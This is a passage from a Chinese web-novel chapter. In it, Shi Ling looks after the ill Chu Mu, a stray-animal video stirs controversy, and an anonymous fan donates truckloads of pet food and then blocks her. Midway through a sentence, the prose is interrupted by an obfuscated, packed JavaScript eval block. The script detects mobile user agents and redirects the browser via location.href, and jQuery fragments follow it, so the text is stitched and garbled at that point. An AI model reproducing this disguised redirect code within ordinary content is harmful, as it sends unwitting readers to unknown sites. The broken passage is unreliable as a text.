跟着自己跑来跑去，生病了想好好睡个觉都做不到。


    时翎在心里叹了口气。


    “褚暮，褚暮。”


    时翎一边小声叫他的名字，一边轻轻摇晃他的肩膀。


    褚暮迷迷糊糊睁开眼，看到时翎，“我睡着了……”


    他坐起来揉了揉眼睛，“我没想睡着的，你忙完了吗？”


    褚暮的语气特别软，把时翎的心也越听越软了。


    “嗯，我们要离开了。”


    陈教授把两人送出去，到了租车的地方，褚暮还是一副迷迷糊糊的样子。


    “我们是要回去了吗？”


    “嗯。”时翎正在签单子。


    褚暮问她：“回去怎么不买高铁票了呢？”


    “时间上差不了多少，但开车方便些。”


    褚暮打了个哈欠，眼眶有些湿润，揉了揉眼睛，后知后觉开口：“你是为了我？”


    时翎笑笑没说话，褚暮低下头勾了勾唇。


    这么难得的独处机会，虽然除了说话什么也做不了，但起码人不会突然跑掉。


    褚暮原打算一路上都跟时翎说话，谈天说地，结果，身体原因，他没坚持多久就睡着了。


    几乎是一路睡过去，等时翎叫醒他，都快到目的地了。


    时翎直接把车开到了医院门口。


    褚暮悔恨不已，自己居然浪费了这么一个宝贵的机会……


    但众所周知，世上是没有后悔药可以吃的。


    他说自己回去就好，但时翎坚持让他去医院检查一遍。


    “就当是安我的心吧，毕竟你跟我一起去的荔香镇，让我确定你没事。”


    褚暮乖乖做了各项检查，都挺正常，问题不是很严重，有轻微炎症。


    时翎不是很懂，但检查结果就是这样，她猜测还是因为褚暮跟谈易童的事，让褚暮身心受损了。


    她想到自己发现褚暮发烧前，他还做着梦哭了。


    可能就是梦到了妈妈吧。


    “放心了吧？”褚暮看着帮他拿药的时翎，声音有点哑，“我就说没事的。”


    “记得喝药。”时翎看着他。


    “知道了。”褚暮还处于落寞的状态。


    这次机会难得，但他居然病了，下次有这样跟时翎单独相处的好机会还不知道要等到什么时候。


    明明应该用来提升感情的……


    时翎看了他一会儿，“我送你回家。”


    褚暮表情闪过一瞬的错愕，“不用了，我自己回去就好了，你忙你的吧。”


    时翎产生了某个猜想，但她没问。


    “没事，我今天不忙。”


    褚暮低头踌躇着什么。


    “褚暮。”时翎叫了他一声，“你是不是不打算回家？”


    “……是不想回。”


    褚暮疲惫地眨巴了一下眼睛，“你不用管我了，我找个酒店住下就好了。”


    时翎沉默了一会儿，“上车吧，你选好之后，我送你去。”


    “我……”


    “不然我就给盛为打电话，让他过来看着你。”


    时翎说完，褚暮咬了下嘴唇，表情有些别扭。


    “你根本不用表现得这么担心我，你又不喜欢我……”他轻轻叹了口气，“光是愧疚，不用做到这种地步。”


    “不止是愧疚。”时翎看着他说：“作为朋友，我确实担心你。”


    “朋友？”褚暮垂着眼睛轻轻笑了一声。


    “好。”他妥协了，“那你送我回学校吧，我回宿舍住。”


    两人在学校分开后，时翎也回了自己的宿舍。


    跑这么远，遇到这么多事，她也没睡好。


    时翎先睡了一觉，起来给褚暮发了条信息，问了一嘴他的病怎么样了。


    不像之前几乎次次秒回，过了一个多小时褚暮才回她信息，说：“好多了。”


    时翎猜测他可能累了，需要多多休息，没再多说什么。


    第二天又问了一次，褚暮说：“已经好了。”


    时翎便没有再问。


    郗雯一行人的拍摄不是很顺利，素材筛选完毕后，开了几次会，最后还是决定先剪出来，能不能发另说。


    哪怕发了再被下，也有意义。


    本期视频发布之后，两种声音吵来吵去。


    虽然热度高，但除了被感动到的观众，还有不少人被引导说他们沽名钓誉，利用大家的同情心赚钱，为了流量无所不用其极。


    因为他们的粉丝体量，颇有影响力，被某个群体群起而攻之。


    郗雯直播的时候，有人贴脸发弹幕，说他们即便认为自己为流浪动物发声，初衷是好的，不过在这样的粉丝体量下发布这种根本讨论不清楚的议题，相当于挑衅了虐待者，会有更多小动物被害，说他们跟虐待犯没有区别。


    詹沼在镜头外冷笑，“一看就是披皮。”


    时翎小时候养过狗，也养过猫。


    太久远了，她现在没有能力，也没有精力分神去照顾宠物，但能理解詹沼的心情。


    詹沼养了五只猫，全是零元购。


    她已经在自己能力范围内做到了最大的贡献。


    可城市流浪动物的数量庞大，不是一两个人就能解决的问题。


    那条弹幕有一点说的是对的，这个议题没有相关立法，讨论不清楚。


    那些号召无害化处理的人，跟救助人处于相反立场，可他们算是虐待者吗？


    可能有交集，但也有一些对动物无感，只是觉得看着烦心的人。


    但因为看着烦心，或是因为担心自己的家人，就用“无害化处理”五个字，给无数小生命判了死刑。


    孰是孰非，确实很难说清楚。


    虐待者自不用说，那不是他们能规劝的范畴。


    他们这期视频，无非就是想让能听得进去话的人，互相理解。


    就算做不到让更多人互相理解，能减少一点点过年过节回乡，或是分手之后随意丢弃宠物的例子，也是有意义的。


    陈教授打来电话，说因为他们的视频，不少人想给她捐钱。


    她统统拒绝了，说暂时只接受捐物捐粮，确实收到了很多，特意打电话向他们表达感谢。


    时翎礼貌回应。


    陈教授随口问起了她的男朋友，时翎怔了怔。


    上次为了方便，并没有反驳这个说法。


    不过现在……


    时翎差点儿就


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182510|193250||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想反驳了，又很快想到，如果说了，不知道陈教授会不会认为褚暮是个随便的人。


    算了，她的丈夫还是褚暮的偶像，还是不说了。


    “他挺好的……”时翎顿了顿，“劳烦您挂记。”


    说起来她有段时间没跟褚暮联系了，不知道他在忙什么，不知道有没有跟谈易童父子起冲突。


    毕竟成了一家人，抬头不见低头见的。


    不过时翎又想到，褚暮就是刀子嘴豆腐心。


    他从来不会耍什么阴招害人，连膈应人都做不到，从来都是嘴上多争几句，真正得不到什么好。


    谈冬一向小心谨慎，谈易童也是个人精，只要他们不主动招惹褚暮，褚暮应该大部分时间都只会无视他们。


    过了两天，陈教授又给时翎打了个电话，告诉她了一件稀奇事。


    “你的粉丝，听说还是个大粉，以你的名义送了两卡车粮过来，不过不是我的基地，是我朋友的，一车猫粮，一车狗粮，说还有两车暂时没到。”


    时翎突然想到了那个ID，大粉，有钱，除了他应该没别人了。


    “我那个朋友也是做救助的，但她觉得很奇怪，说自己没出镜，她的基地也没让谁宣传，按道理来说如果有人捐粮应该送到我这里。后来觉得可能是流量效应，但想想还是不对，你的粉丝，更应该给看得见的地方出钱出力。”


    陈教授也觉得，“专门找到她，是有一点奇怪。”


    她笑笑，“我朋友专门让我问问你们认不认识，她想说声谢谢，想让你帮忙转达。”


    时翎跟她对了一下ID，果然是那个“小羽毛的羽毛”。


    四大车粮……


    这得花多少钱。


    “好，我跟他说一声。”


    陈教授有些惊讶，“你们认识？”


    “倒是不认识……不过能联系上。”


    不止是要代替人家说声谢谢，她自己也得说句谢谢。


    还有，时翎想着，如果能补偿他一点儿，哪怕不多，也算是自己的心意。


    她把好久没看的群翻了出来。


    《小宇宙》每次更新，但凡有时翎的出镜群主都会第一时间分享在群里。


    这期节目群友们也聊了不少，跟官号评论区的大多数言论差不多。


    往前翻翻，才发现不是没有人持反对意见，都被群主踢了。


    时翎忍俊不禁一阵，点开群主的私聊，斟酌半天词句，给他发了条信息过去——


    “你好，我是小羽毛的朋友，认识她本人，请问方便留个联系方式吗？她知道了你主动捐助的事情，为了表示感谢，想报销一部分，就当一起为流浪动物做一点善事吧。”


    对方回得挺快，时翎不过去倒了一杯水，这边就回了一条信息过来——


    “哦，不用。”


    时翎想到了对方会拒绝，不过没关系，她也不打算就简单说这么一句。


    没想到，正准备再劝，发现消息发不过去，自己好像被拉黑了。


    时翎愣了一下，准备在群里问问是怎么回事。


    是网络问题还是对方设置错了。


    不过切回去发现，自己已经被群主踢出来了。


    “？？？”